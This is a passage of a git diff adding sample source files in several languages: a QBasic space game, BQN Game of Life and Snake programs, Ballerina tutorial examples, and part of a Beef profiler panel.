+280   DATA 14, 8, 13, 5, 14, 6, 13, 13, 14, 14, 13, 5, 14, 8, 13, 13, 14, 6, 13, 5, 14, 14, 13, 13, 0, 0
+290   DIM BGM$(10): ON PLAY(2) GOSUB 9600
+300 ' Initialize Variables / Reset Game
+310   I = 0: N = 0 ' Misc. Integer Register
+320   PX = 20: OX = PX: PY = 8: OY = PY: PT! = 0 ' Player
+330   TX = 0: TY = 0: TD = 0: TS = 0 ' Missile (Torpedo)
+340   FX = 0: FY = 0: FD = 0: FS = 0 ' Fragment (X,Y,dir,speed)
+350   AX = 0: AH = 0: AL = 0 ' Asteroid (X, height, and Length)
+360   WX = 0: WY = 0 ' Worm Hole
+370   L = LS ' Location
+380   DX = 0: DM$ = "" ' Dash Message
+390   C1 = 1: C2 = 2: C3 = 3: C4 = 4: C5 = 5: C6 = 6: C7 = 7: C8 = 8: C9 = 9: C10 = 10: C11 = 11: C12 = 12: C13 = 13: C14 = 14: C15 = 15
+500 ' Title Screen
+510   SCREEN 7, 1, 0, 0: WIDTH 40: WINDOW: VIEW: CLS : COLOR C15
+520   ' "SPACE" DATA
+530   DATA 201,205,181, 32,201,205,187, 32,201,205,187, 32,201,205,181, 32,201,205,181, 32
+540   DATA 186, 32, 32, 32,186, 32,186, 32,186, 32,186, 32,186, 32, 32, 32,186, 32, 32, 32
+550   DATA 200,205,187, 32,204,205,188, 32,204,205,185, 32,186, 32, 32, 32,204,181, 32, 32
+560   DATA  32, 32,186, 32,186, 32, 32, 32,186, 32,186, 32,186, 32, 32, 32,186, 32, 32, 32
+570   DATA 198,205,188, 32,208, 32, 32, 32,208, 32,208, 32,200,205,181, 32,200,205,181, 32
+580   ' "ESCAPE" DATA
+590   DATA 201,205,181, 32,201,205,181, 32,201,205,181, 32,201,205,187, 32,201,205,187, 32,201,205,181, 32
+600   DATA 186, 32, 32, 32,186, 32, 32, 32,186, 32, 32, 32,186, 32,186, 32,186, 32,186, 32,186, 32, 32, 32
+610   DATA 204,181, 32, 32,200,205,187, 32,186, 32, 32, 32,204,205,185, 32,204,205,188, 32,204,181, 32, 32
+620   DATA 186, 32, 32, 32, 32, 32,186, 32,186, 32, 32, 32,186, 32,186, 32,186, 32, 32, 32,186, 32, 32, 32
+630   DATA 200,205,181, 32,198,205,188, 32,200,205,181, 32,208, 32,208, 32,208, 32, 32, 32,200,205,181, 32
+640   ' MUSIC DATA
+650   BGM$(1) = "MN T178 O3 D4 A4 > D4 < A4": BGM$(2) = "D4 G4 A8 G4 A8": BGM$(3) = "D4 A4 > D4 < A4."
+660   BGM$(4) = "P8 G4 A8 G4 F#8": BGM$(5) = "< B4 > B4 > C#4 D4 E8": BGM$(6) = "D8 C#8 D8 C#8 < B8"
+670   BGM$(7) = "< B4 > B4 > C#4 D4 E8": BGM$(8) = "D8 C#8 D8 C#8 < A8": BGM$(9) = "": BGM$(10) = ""
+680   IF LS = 0 THEN MUS = 1: PLAY ON: PLAY "MB " + BGM$(1)
+700   RESTORE 530: FOR Y = 1 TO 5: LOCATE Y + 2, 3: FOR X = 1 TO 20: READ I: PRINT CHR$(I); : NEXT X, Y
+710   RESTORE 590: FOR Y = 1 TO 5: LOCATE Y + 12, 16: FOR X = 1 TO 24: READ I: PRINT CHR$(I); : NEXT X, Y
+720   LOCATE 10, 10: COLOR C8: PRINT "BY  NEIL C. OBREMSKI"
+725   LOCATE 11, 10: COLOR C8: PRINT "MUSIC: SCOTT HAPPELL"
+730   LOCATE 21, 9: COLOR C11: PRINT "PRESS ANY KEY TO START"
+740   LOCATE 25, 8: COLOR C15: PRINT USING " HIGH SCORE = #,###,### "; HS!;
+750   IF LS = 1000 THEN LOCATE 22, 7: COLOR C2: PRINT "(CHECKPOINT: MINE BARRIER)"
+760   IF LS = 2000 THEN LOCATE 22, 6: COLOR C2: PRINT "(CHECKPOINT: FRAGMENT FIELD)"
+770   IF LS = 3000 THEN LOCATE 22, 7: COLOR C2: PRINT "(CHECKPOINT: ASTEROID BELT)"
+780   IF LS = 4000 THEN LOCATE 22, 10: COLOR C2: PRINT "(CHECKPOINT: CANYON)"
+870   RESTORE 280
+880   IF L = 0 THEN DX = 1: DM$ = " GET READY!" ELSE DX = 0
+890   MX = 0: MY = 0: SC = 0: WHILE INKEY$ <> "": A$ = INKEY$: WEND
+900   ' Wait for ANY key (including arrows)
+920   WHILE TIMER < T2: WEND: T1! = TIMER + .0167: T2! = T1! + .0167: A$ = INKEY$
+930   FOR I = SC TO 1 STEP -1: PSET (SX(I), SY(I)), SO(I): NEXT I
+940   SC = 0
+950   WHILE TIMER < T1!
+960     IF SC < 31 THEN SC = SC + 1: GOSUB 7000
+970   WEND
+980   IF A$ = "" AND MX = 0 AND MY = 0 THEN 900
+990   CLS : SC = 0: PLAY OFF
+1000 ' Dash Message
+1010   IF DX = 1 THEN PLAY "MB MN T255 O1 A8 A8"
+1020   LOCATE 25, 1: COLOR C15
+1030   IF DX < LEN(DM$) THEN PRINT RIGHT$(DM$, DX); SPACE$(40 - DX);
+1040   IF DX >= LEN(DM$) AND DX < 40 THEN PRINT SPC(DX - LEN(DM$)); DM$; SPACE$(40 - DX);
+1050   IF DX >= 40 THEN PRINT SPC(DX - LEN(DM$)); LEFT$(DM$, LEN(DM$) - (DX - 40));
+1060   IF DX = 40 + LEN(DM$) THEN DX = 0 ELSE DX = DX + 1
+1070   LOCATE 25, 1: PRINT ""
+1090   GOTO 2090
+1100 ' Keybuffer Check (i.e. QB arrow key check)
+1110   IF K$ = CHR$(0) + CHR$(72) THEN GOSUB 160
+1120   IF K$ = CHR$(0) + CHR$(75) THEN GOSUB 170
+1130   IF K$ = CHR$(0) + CHR$(77) THEN GOSUB 180
+1140   IF K$ = CHR$(0) + CHR$(80) THEN GOSUB 190
+1150   WHILE INKEY$ <> "": WEND ' clear buffer
+1160   RETURN
+2000 ' Main Loop
+2010   T1! = TIMER + .0167: T2! = TIMER + .0167
+2020   I = MX: OX = PX: PX = PX + I: MX = MX - I
+2030   IF PX < 1 THEN PX = 1 ELSE IF PX > 40 THEN PX = 40
+2040   I = MY: OY = PY - 1: PY = PY + I: MY = MY - I
+2050   IF PY < 1 THEN PY = 1 ELSE IF PY > 20 THEN PY = 20
+2060   L = L + 1
+2070   FOR I = SC TO 1 STEP -1: PSET (SX(I), SY(I)), SO(I): NEXT I
+2080   IF DX <> 0 THEN 1000 ELSE LOCATE 25, 1: COLOR C15: PRINT USING " SCORE:#,###,###   HIGH SCORE:#,###,###"; PT!; HS!
+2090   IF OY > 0 THEN LOCATE OY, OX: COLOR C14: PRINT "*";
+2130   PT! = PT! + (PY * 1 + (L / 310)): IF HS! < PT! THEN HS! = PT!
+2140   IF WX = 0 THEN GOSUB 8500 ELSE GOSUB 8000
+2180   ' Process Level Segment and Collision Detect
+2190   SC = 0: ON (1 + FIX(L / 1000)) GOTO 2500, 2600, 2700, 2800, 2900, 9200
+2200   I = SCREEN(PY, PX): IF I <> 0 AND I <> 32 AND I <> 42 AND I <> 86 THEN GOTO 9000
+2210   LOCATE PY, PX: COLOR C3: PRINT "V";
+2220   K$ = INKEY$: IF K$ <> "" THEN GOSUB 1100
+2260   ' Stars and Wait
+2270   WHILE TIMER < T1!
+2280     IF SC < 31 THEN SC = SC + 1: GOSUB 7000
+2290   WEND
+2300   IF C1 <> 0 THEN READ I, N: IF I = 0 THEN RESTORE 280: READ I, N: PALETTE I, N ELSE PALETTE I, N
+2310   WHILE TIMER < T2!: WEND
+2490 GOTO 2000
+2500 ' Level 1 (0000-0999): Missiles Only
+2510   IF L = 60 THEN DX = 1: DM$ = " INCOMING MISSILES!"
+2520   IF L < 100 THEN 2200
+2530   IF L > 100 AND L MOD 60 = 0 THEN PLAY "MB MN O1 T255 C8"
+2540   IF TX = 0 THEN GOSUB 4500 ELSE GOSUB 4000
+2590   GOTO 2200
+2600 ' Level 2 (1000-1999): Mines and Missiles
+2610   IF L = 1000 THEN DX = 1: DM$ = " APPROACHING MINE BARRIER!"
+2620   IF L = 1066 THEN LS = 1000: DX = 1: DM$ = " CHECKPOINT SAVED"
+2630   IF L > 1122 AND L MOD 45 = 0 THEN PLAY "MB MN O1 T255 D8"
+2640   GOSUB 3000
+2650   IF TX = 0 THEN GOSUB 4500 ELSE GOSUB 4000
+2690   GOTO 2200
+2700 ' Level 3 (2000-2999): Mines and Fragments
+2710   IF L = 2000 THEN DX = 1: DM$ = " APPROACHING FRAGMENT FIELD!"
+2720   IF L = 2068 THEN LS = 2000: DX = 1: DM$ = " CHECKPOINT SAVED"
+2730   IF L > 2123 AND L MOD 30 = 0 THEN PLAY "MB MN O1 T255 E8"
+2740   GOSUB 3000
+2750   IF FX = 0 THEN GOSUB 5500 ELSE GOSUB 5000
+2790   GOTO 2200
+2800 ' Level 4 (3000-3999): Mines, Frags, and Asteroids
+2810   IF L = 3000 THEN DX = 1: DM$ = " APPROACHING ASTEROID BELT!"
+2820   IF L = 3067 THEN LS = 3000: DX = 1: DM$ = " CHECKPOINT SAVED"
+2830   IF L > 3122 AND L MOD 30 = 0 THEN PLAY "MB MN O1 T255 F8"
+2840   GOSUB 3000
+2850   IF FX = 0 THEN GOSUB 5500 ELSE GOSUB 5000
+2860   IF AX = 0 THEN GOSUB 6500 ELSE GOSUB 6000
+2890   GOTO 2200
+2900 ' Level 5 (4000-4999): Mines, Frags, Missiles, and Canyon
+2910   IF L = 4000 THEN DX = 1: DM$ = " APPROACHING CANYON!"
+2920   IF L = 4060 THEN LS = 4000: DX = 1: DM$ = " CHECKPOINT SAVED"
+2930   IF L = 4117 THEN DX = 1: DM$ = " MORE MISSILES DETECTED!"
+2935   IF L > 4183 AND L MOD 15 = 0 THEN PLAY "MB O1 T255 F8"
+2940   I = 1 + FIX(((L - 3999) / 1000) * 16): COLOR C6
+2950   LOCATE 24, 1: PRINT STRING$(I, 219); CHR$(221); : LOCATE 24, 40 - I: PRINT CHR$(222); STRING$(I, 219);
+2960   GOSUB 3000
+2970   IF TX <> 0 THEN GOSUB 4000 ELSE IF L > 4117 THEN GOSUB 4500
+2980   IF FX = 0 THEN GOSUB 5500 ELSE GOSUB 5000
+2990   GOTO 2200
+3000 ' Draw Mine
+3010   IF L < 2000 AND RND > ((L - 999) / 1000) THEN RETURN
+3020   I = FNRAND(40)
+3030   IF SCREEN(24, I) = 0 OR SCREEN(24, I) = 32 THEN LOCATE 24, I: COLOR C13: PRINT "X";
+3040   RETURN
+4000 ' Missile (Main)
+4010   IF TY > 10 THEN TX = 0: RETURN
+4020   IF TY > 1 THEN LOCATE TY - 1, TX: COLOR C14: PRINT "."
+4030   TX = TX + TD: IF TX < 1 OR TX > 40 THEN TX = 0: RETURN
+4040   IF L MOD TS = 0 THEN TY = TY + 1: TD = SGN(PX - TX)
+4050   I = SCREEN(TY, TX)
+4060   IF I <> 0 AND I <> 32 AND I <> 42 AND I <> 46 AND I <> 86 THEN PT! = PT! + 100: GOTO 4090
+4070   LOCATE TY, TX: COLOR C4: PRINT "!"
+4080   RETURN
+4090   TX = 0: PLAY "MB T255 O1 L1 D8"
+4100   RETURN
+4500 ' Missile (Create)
+4510   IF L MOD 30 <> 0 THEN RETURN
+4520   TX = PX + FNMOVE(0): TY = 1: TD = SGN(PX - TX)
+4530   IF TX < 1 THEN TX = 1 ELSE IF TX > 40 THEN TX = 40
+4540   TS = FNRAND(8) + 6
+4550   RETURN
+5000 ' Fragment (Main)
+5010   FY = FY - 1: IF FY < 1 THEN FX = 0: RETURN
+5020   LOCATE FY, FX: PRINT " ";
+5030   IF L MOD FS = 0 THEN FX = FX + FD: IF FX < 1 OR FX > 40 THEN FX = 0: RETURN
+5040   LOCATE FY, FX: COLOR C7: PRINT "#";
+5050   RETURN
+5500 ' Fragment (Create)
+5510   FX = FNRAND(40): FD = SGN(PX - FX)
+5520   FY = 25: FS = FNRAND(4)
+5530   RETURN
+6000 ' Asteroid (Main)
+6010   AX = AX + FNMOVE(0)
+6020   AL = AL + FNMOVE(0)
+6030   IF AX < 1 THEN AX = 1 ELSE IF AX > 40 THEN AX = 40
+6040   IF AL < 1 THEN AX = 0: RETURN
+6050   IF AX + AL > 40 THEN AL = 40 - AX + 1
+6060   LOCATE 24, AX: COLOR C8: PRINT STRING$(AL, 178);
+6070   AH = AH - 1: IF AH = 0 THEN AX = 0
+6080   RETURN
+6500 ' Asteroid (Create)
+6510   IF L MOD 10 <> 0 THEN RETURN
+6520   AX = FNRAND(40): AL = FNRAND(3): AH = FNRAND(15) + 5
+6530   RETURN
+7000 ' Star (Main)
+7010   SY(SC) = SY(SC) - SS(SC)
+7020   IF SY(SC) < 0 THEN SX(SC) = FIX(RND * 320): SY(SC) = 199
+7030   SO(SC) = POINT(SX(SC), SY(SC))
+7040   IF 0 = SO(SC) THEN PSET (SX(SC), SY(SC)), 11
+7050   RETURN
+8000 ' WormHole (Main)
+8010   RETURN
+8500 ' WormHole (Create)
+8510   RETURN
+9000 DM$ = "YOU BLEW UP!": I = 0: PLAY "MB O1 T255 ML E2 C1"
+9010 WHILE INKEY$ <> "": A$ = INKEY$: WEND
+9020 LOCATE 25, 1: PRINT SPACE$(40);
+9030 FOR SC = 1 TO 31
+9040   IF POINT(SX(SC), SY(SC)) = 0 THEN PSET (SX(SC), SY(SC)), 11
+9050 NEXT SC
+9100 T1! = TIMER + .0333: A$ = INKEY$: I = I + 1
+9110 IF I < 30 THEN CIRCLE (PX * 8 - 4, PY * 8 - 4), I, FNRAND(15)
+9120 IF I > 30 AND I < 60 THEN CIRCLE (PX * 8 - 4, PY * 8 - 4), I - 30, 0
+9140 IF A$ = "Y" OR A$ = "y" THEN 300
+9150 IF A$ = "N" OR A$ = "n" THEN 9990
+9160 WHILE TIMER < T1!: WEND
+9170 IF I <= 60 THEN 9100 ELSE 9400
+9200 ' Level X (5000-5150): FINISHED! FREE AND CLEAR!
+9210 IF L > 5150 GOTO 9300
+9220 GOTO 2200
+9300 DM$ = "YOU ESCAPED!"
+9310 WHILE INKEY$ <> "": A$ = INKEY$: WEND
+9320 GOTO 9400
+9400 ' Death Theme
+9410 BGM$(1) = "MN T70 O2 B8 > D8 F#8 < B8": BGM$(2) = "> D8 F#8 < B8 > D8 G8": BGM$(3) = "< B8 > D8 G8 < B8 > D8"
+9420 BGM$(4) = "G8 < B8 > D8 F#8 < A8": BGM$(5) = "> D8 F#8 < A8 > D8 F#8 ": BGM$(6) = "< A8 > C#8 E8 < A8 > C#8"
+9430 BGM$(7) = "E8 < A8 > C#8": BGM$(8) = "": BGM$(9) = "": BGM$(10) = ""
+9440 MUS = 1: PLAY ON: PLAY "MB " + BGM$(1)
+9500 ' MESSAGE BOX Y/N
+9510 COLOR C15: LOCATE 25, 1: PRINT USING "         HIGH SCORE = #,###,###         "; HS!;
+9520 LOCATE 10, 10: PRINT CHR$(201); STRING$(20, 205); CHR$(187)
+9530 LOCATE 11, 10: PRINT CHR$(186); SPC((20 - LEN(DM$)) / 2); DM$; SPC((20 - LEN(DM$)) / 2); CHR$(186)
+9540 LOCATE 12, 10: PRINT CHR$(199); STRING$(20, 196); CHR$(182)
+9550 LOCATE 13, 10: PRINT CHR$(186); " PLAY AGAIN (Y/N) ? "; CHR$(186)
+9560 LOCATE 14, 10: PRINT CHR$(200); STRING$(20, 205); CHR$(188)
+9570 IF A$ = "Y" OR A$ = "y" THEN PLAY OFF: GOTO 300
+9580 IF A$ = "N" OR A$ = "n" THEN PLAY OFF: GOTO 9990
+9590 A$ = INKEY$: GOTO 9570
+9600 ' MUSIC HANDLER
+9610 MUS = MUS + 1: IF BGM$(MUS) = "" THEN MUS = 1
+9620 PLAY "MB " + BGM$(MUS)
+9630 RETURN
+9700 ' Error handling (only currently handles SCREEN 7 => 1 downgrade)
+9710 IF ERR <> 5 <> ERL = 510 THEN PRINT ERR; " ON "; ERL: END
+9720 C1 = 0: C2 = 0: C3 = 0: C4 = 0: C5 = 0: C6 = 0: C7 = 0: C8 = 0: C9 = 0: C10 = 0: C11 = 0: C12 = 0: C13 = 0: C14 = 0: C15 = 0
+9730 SCREEN 1
+9740 RESUME NEXT
+9890 GOTO 100
+9990 CLS : SCREEN 0, 0, 0, 0: WIDTH 80: CLS : END
+
\ No newline at end of file
diff --git a/samples/BQN/gameoflife.bqn b/samples/BQN/gameoflife.bqn
new file mode 100644
index 0000000000..e4d1dd5659
--- /dev/null
+++ b/samples/BQN/gameoflife.bqn
@@ -0,0 +1,8 @@
+# Larger initial matrix
+r ← 15‿35 ↑ ¯10‿¯20 ↑ (3‿3 ⥊ ↕9) ∊ 1‿2‿3‿4‿7
+
+# Iteration function
+Life ← {∨´ 1‿𝕩 ∧ 3‿4 = +˘˝ +˝ 1‿0‿¯1 ⌽⌜ 1‿0‿¯1 ⌽˘¨ <𝕩}
+
+# 'animate' 100 iterations of the game of life
+{ i ← Life 𝕩 ⋄ •Delay 1 ⋄ •Show i ⊏ "·#" ⋄ i}⍟100 r
diff --git a/samples/BQN/snake.bqn b/samples/BQN/snake.bqn
new file mode 100644
index 0000000000..105dcf885f
--- /dev/null
+++ b/samples/BQN/snake.bqn
@@ -0,0 +1,86 @@
+# ============================================================
+# This code is part of the "rayed-lib" open source project avaiable at:
+#
+#      https://github.com/Brian-ED/rayed-bqn
+#
+# This code is licensed under the MIT License.  You may obtain a
+# copy of the License at:
+#
+#      https://spdx.org/licenses/MIT.html
+# ============================================================
+
+# My highscore is 112... beat that!
+⟨c⇐color,window,draw,k⇐key⟩←r←•Import "../../raylib.bqn"
+textSize ← 100
+size ← 15
+nonDarkMode‿darkMode ← {
+  ⟨text, fruit, snake, lines, background⟩ ⇐ 𝕩
+}¨{
+  yellow ← 255‿200‿0‿255
+  ⟨c.black‿c.red‿c.blue ‿c.white‿yellow
+   ⌈c.white‿c.red‿c.green‿c.white‿c.black÷1.3⟩ # divided to lower intencity
+}
+
+LoadConsts ← {𝕊:{
+  winSize       ⇐ window.GetSize@
+  textPixelSize ⇐ r.rayFFI.MeasureText¨textSize⋈˜¨"Paused"‿"GAME OVER"
+  tileSize      ⇐ ⌊winSize⌊´⊸÷size+2
+  lines         ⇐ ≍´˘⌽¨⊸∾(⊢∾⌜2↑1⌽⁼⊢)tileSize×1+↕1+size # Line drawing positions
+  font          ⇐ r.font.LoadBQN 100
+}}
+OnStart ← {𝕤
+  frame ← 0 ⋄ speed ← 10
+  # 0 is gameOver, 1 is playing, 2 is paused
+  gameState ← 1
+  # List of x‿y positions of the snake
+  snake ← [0‿0]
+  fruit ← 2 •rand.Range size
+  # 0‿1 up, 1‿0 right, 0‿¯1 down, ¯1‿0 left
+  # first in list is the current facing, pressing right 1⌽ pressing left 1⌽⁼
+  facing ← [1‿0, 0‿¯1, ¯1‿0, 0‿1]
+  # buffer for key presses
+  buffer ← ⟨⟩
+  palete ← nonDarkMode
+  gameState‿frame‿snake‿fruit‿facing‿speed‿buffer‿palete
+}
+PerGameFrame ← {𝕊gameState‿snake‿fruit‿facing‿buffer:
+  SpawnFruit    ← {•rand.Range∘≠⊸⊑(<˘𝕨)(¬∘∊˜/⊢)⥊↕2⥊size}
+  nowFacing     ← facing⌽˜-´k.left‿k.right=⊑1↑buffer
+  extendedSnake ← nowfacing(⊢∾˜size|+○⊏)snake
+  newFruit      ← extendedSnake SpawnFruit⍟(⊏⊸≡) fruit
+  cutSnake      ← ¯1⊸↓⍟(newFruit≡fruit)extendedSnake
+  ⟨
+    gameState×⍷⊸≡cutSnake # gameState
+    cutSnake              # snake
+    newFruit              # fruit
+    nowFacing             # facing
+    1↓2↑buffer            # reset buffer
+  ⟩
+}⌾(0‿2‿3‿4‿6⊸⊏)
+PerFrame ←{con𝕊⟨gameState,frame,snake,fruit,facing,speed,buffer,pal⟩:
+  pauseP ← k.right_shift = key ← k.PressedKey@
+  c.black‿con.font‿40 draw.Text 10‿10⋈•Repr ¯1+≠snake
+  ⊑◶⟨ # each function is one scene
+    {
+      pal.text‿con.font‿textSize draw.Text "GAME OVER"⋈˜2⥊2÷˜con.winSize-1⊑con.textPixelSize
+      pal⌾(7⊑⊢)OnStart⍟pauseP 𝕩 # nums mean values to reset
+    }
+    PerGameFrame⍟(1=speed|frame) {𝕤
+      c.white⊸draw.Line˘con.lines
+      pal.fruit draw.Rectangle +`(1+con.tileSize×1+fruit)≍2⥊con.tileSize-2
+      pal.snake⊸draw.Rectangle⟜⍉˘(con.tileSize-2)(⍉+≍⊢)˘1+con.tileSize×1+snake
+      ⟨frame+1
+       2⌈speed+-´key=k.down‿k.up        # speed
+       key∾⍟(⊑∊⟜k.left‿k.right) buffer⟩ # Key buffer
+    }⌾(1‿5‿6⊸⊏)
+    {
+      pauseText←"Paused, d for dark"
+      pal.text‿con.font‿(textSize) draw.Text (2÷˜con.winSize-con.textPixelSize⊑⊸∾textSize)‿pauseText
+
+      {𝕩≡nonDarkMode?darkMode;nonDarkMode}⌾(7⊑⊢)⍟(key=k.d)𝕩
+    }
+  ⟩  {1:2;2:1;𝕩}⍟pauseP⌾⊑ 𝕩
+} draw._withCanvas_ {(7⊑𝕩).background}
+
+Game ← LoadConsts PerFrame•_While_(¬window.ShouldClose) OnStart
+Game window._openAs "Snake"
diff --git a/samples/Ballerina/hello-world-service.bal b/samples/Ballerina/hello-world-service.bal
new file mode 100644
index 0000000000..c90bc25f91
--- /dev/null
+++ b/samples/Ballerina/hello-world-service.bal
@@ -0,0 +1,16 @@
+import ballerina.lang.messages;
+import ballerina.net.http;
+import ballerina.doc;
+
+@doc:Description {value:"By default Ballerina assumes that the service is to be exposed via HTTP/1.1 using the system default port and that all requests coming to the HTTP server will be delivered to this service."}
+service<http> helloWorld {
+    @doc:Description {value:"All resources are invoked with an argument of type message, the built-in reference type representing a network invocation."}
+    resource sayHello (message m) {
+        // Creates an empty message.
+        message response = {};
+        // A util method that can be used to set string payload.
+        messages:setStringPayload(response, "Hello, World!");
+        // Reply keyword sends the response back to the client.
+        reply response;
+    }
+}
diff --git a/samples/Ballerina/hello-world.bal b/samples/Ballerina/hello-world.bal
new file mode 100644
index 0000000000..639704d2c4
--- /dev/null
+++ b/samples/Ballerina/hello-world.bal
@@ -0,0 +1,6 @@
+import ballerina.lang.system;
+
+function main (string[] args) {
+    system:println("Hello, World!");
+}
+
diff --git a/samples/Ballerina/json.bal b/samples/Ballerina/json.bal
new file mode 100644
index 0000000000..de6718d1cd
--- /dev/null
+++ b/samples/Ballerina/json.bal
@@ -0,0 +1,31 @@
+import ballerina.lang.system;
+
+function main (string[] args) {
+    // JSON string value.
+    json j1 = "Apple";
+    system:println(j1);
+
+    // JSON number value.
+    json j2 = 5.36;
+    system:println(j2);
+
+    // JSON true value.
+    json j3 = true;
+    system:println(j3);
+
+    // JSON false value.
+    json j4 = false;
+    system:println(j4);
+
+    // JSON null value.
+    json j5 = null;
+
+    //JSON Objects.
+    json j6 = {name:"apple", color:"red", price:j2};
+    system:println(j6);
+
+    //JSON Arrays. They are arrays of any JSON value.
+    json j7 = [1, false, null, "foo",
+               {first:"John", last:"Pala"}];
+    system:println(j7);
+}
diff --git a/samples/Ballerina/var.bal b/samples/Ballerina/var.bal
new file mode 100644
index 0000000000..73dfa5eb5b
--- /dev/null
+++ b/samples/Ballerina/var.bal
@@ -0,0 +1,28 @@
+import ballerina.lang.system;
+
+function divideBy10 (int d) (int, int) {
+    return d / 10, d % 10;
+}
+
+function main (string[] args) {
+    //Here the variable type is inferred type from the initial value. This is same as "int k = 5";
+    var k = 5;
+    system:println(10 + k);
+
+    //Here the type of the 'strVar' is 'string'.
+    var strVar = "Hello!";
+    system:println(strVar);
+
+    //Multiple assignment with 'var' allows you to define the variable then and there.
+    //Variable type is inferred from the right-hand side.
+    var q, r = divideBy10(6);
+    system:println("06/10: " + "quotient=" + q + " " +
+                   "remainder=" + r);
+
+    //To ignore a particular return value in a multiple assignment statement, use '_'.
+    var q1, _ = divideBy10(57);
+    system:println("57/10: " + "quotient=" + q1);
+
+    var _, r1 = divideBy10(9);
+    system:println("09/10: " + "remainder=" + r1);
+}
diff --git a/samples/Ballerina/xml.bal b/samples/Ballerina/xml.bal
new file mode 100644
index 0000000000..c5d0c8732e
--- /dev/null
+++ b/samples/Ballerina/xml.bal
@@ -0,0 +1,26 @@
+import ballerina.lang.system;
+
+function main (string[] args) {
+
+	// XML element. Can only have one root element.
+    xml x1 = xml `<book>The Lost World</book>`;
+    system:println(x1);
+
+    // XML text
+    xml x2 = xml `Hello, world!`;
+    system:println(x2);
+
+    // XML comment
+    xml x3 = xml `<!--I am a comment-->`;
+    system:println(x3);
+
+    // XML processing instruction
+    xml x4 = xml `<?target data?>`;
+    system:println(x4);
+
+    // Multiple XML items can be combined to form a sequence of XML. The resulting sequence is again an XML on its own.
+    xml x5 = x1 + x2 + x3 + x4;
+    system:println("\nResulting XML sequence:");
+    system:println(x5);
+
+}
diff --git a/samples/Beef/ProfilePanel.bf b/samples/Beef/ProfilePanel.bf
new file mode 100644
index 0000000000..3648205618
--- /dev/null
+++ b/samples/Beef/ProfilePanel.bf
@@ -0,0 +1,805 @@
+using Beefy.widgets;
+using Beefy.theme.dark;
+using Beefy.gfx;
+using System.Collections;
+using System;
+using System.Diagnostics;
+using Beefy.events;
+using System.Threading;
+using Beefy;
+
+namespace BeefPerf
+{
+	class ProfilePanel : Widget
+	{
+		public class ProfileListViewItem : DarkVirtualListViewItem
+		{
+			public override void MouseDown(float x, float y, int32 btn, int32 btnCount)
+			{
+				((ProfileListView)mListView).mProfilePanel.ItemClicked(this, btn, btnCount, x, y);
+			}
+
+			public override bool Selected
+			{
+				set
+				{
+					if (value)
+					{
+						int32 selectedIdx = mVirtualIdx;
+						var profilePanel = ((ProfileListView)mListView).mProfilePanel;
+						var result = profilePanel.mProfileCtx.mResults[selectedIdx];
+						DeleteAndNullify!(profilePanel.mPerfView.mProfileHiliteZone);
+						profilePanel.mPerfView.mProfileHiliteZone = new PerfView.HiliteZone(result.mZoneNameId, result.mUnformattedName);
+
+						//result.mName
+					}
+
+					base.Selected = value;
+					//int32 selectedIdx = item.mVirtualIdx;
+					//var foundEntry = mSearchState.mFoundEntries[selectedIdx];
+				}
+			}
+		}
+
+		public class ProfileListView : DarkVirtualListView
+		{
+			public ProfilePanel mProfilePanel;
+
+			public override void ChangeSort(DarkListView.SortType sortType)
+			{
+				base.ChangeSort(sortType);
+				mSortType = sortType;
+				mProfilePanel.RefreshList();
+			}
+
+			protected override ListViewItem CreateListViewItem()
+			{
+				return new ProfileListViewItem();
+			}
+
+			public override void PopulateVirtualItem(DarkVirtualListViewItem listViewItem)
+			{
+				base.PopulateVirtualItem(listViewItem);
+
+				var client = mProfilePanel.mPerfView.mSession;
+				var perfInfo = mProfilePanel.mProfileCtx.mResults[listViewItem.mVirtualIdx];
+				listViewItem.Label = perfInfo.mName;
+
+				var subItem = listViewItem.CreateSubItem(1);
+				subItem.mLabel = new String();
+				subItem.mLabel.AppendF("{0}", perfInfo.mCount);
+
+				subItem = listViewItem.CreateSubItem(2);
+				subItem.mLabel = new String();
+				client.ElapsedTicksToStr(perfInfo.mTicks, subItem.mLabel);
+
+				subItem = listViewItem.CreateSubItem(3);
+				subItem.mLabel = new String();
+				client.ElapsedTicksToStr(perfInfo.mTicks - perfInfo.mChildTicks, subItem.mLabel);
+			}
+
+			public override void DrawAll(Graphics g)
+			{
+				base.DrawAll(g);
+
+				if (((mProfilePanel.mProfileCtx != null) && (!mProfilePanel.mProfileCtx.mDone)) || (mProfilePanel.mSorting))
+				{
+					using (g.PushColor(0xA0595959))
+						g.FillRect(0, 20, mWidth - 20, mHeight - 20);
+					BPUtils.DrawWait(g, mWidth / 2, mHeight / 2);
+				}
+			}
+
+			public override void KeyDown(KeyCode keyCode, bool isRepeat)
+			{
+				base.KeyDown(keyCode, isRepeat);
+				if (keyCode == .Escape)
+				{
+					mProfilePanel.RemoveFocus();
+				}
+			}
+
+			public void GetSummaryString(String str)
+			{
+				str.Append("Name____________________________________Count_______Total________Self\n");
+				for (var entry in mProfilePanel.mProfileCtx.mResults)
+				{
+					str.Append(entry.mName);
+					str.Append(' ', Math.Max(38 - entry.mName.Length, 1));
+
+					var entryStr = scope String();
+					entry.mCount.ToString(entryStr);
+					str.Append(' ', Math.Max(7 - entryStr.Length, 1));
+					str.Append(entryStr);
+
+					entryStr.Clear();
+					mProfilePanel.mProfileCtx.mSession.ElapsedTicksToStr(entry.mTicks, entryStr);
+					str.Append(' ', Math.Max(12 - entryStr.Length, 1));
+					str.Append(entryStr);
+
+					entryStr.Clear();
+					mProfilePanel.mProfileCtx.mSession.ElapsedTicksToStr(entry.mTicks - entry.mChildTicks, entryStr);
+					str.Append(' ', Math.Max(12 - entryStr.Length, 1));
+					str.Append(entryStr);
+					str.Append('\n');
+				}
+
+				str.Append("---------------------------------------------------------------------\n");
+				str.Append("Total Time: ");
+
+				mProfilePanel.mProfileCtx.mSession.ElapsedTicksToStr(mProfilePanel.mSelection.mTickEnd - mProfilePanel.mSelection.mTickStart, str);
+			}
+
+			public void AddStaticMenu(Menu menu)
+			{
+				var menuItem = menu.AddItem("Copy to Clipboard");
+				menuItem.mOnMenuItemSelected.Add(new (item) =>
+				    {
+						String str = scope String();
+						GetSummaryString(str);
+						gApp.SetClipboardText(str);
+						//Debug.WriteLine(str);
+						
+				    });
+			}
+
+			public override void MouseDown(float x, float y, int32 btn, int32 btnCount)
+			{
+				base.MouseDown(x, y, btn, btnCount);
+
+				GetRoot().SelectItemExclusively(null);
+				if (btn == 1)
+				{
+					Menu menu = new Menu();
+					AddStaticMenu(menu);
+					MenuWidget menuWidget = DarkTheme.sDarkTheme.CreateMenuWidget(menu);
+					menuWidget.Init(this, x, y);
+				}
+			}
+		}
+
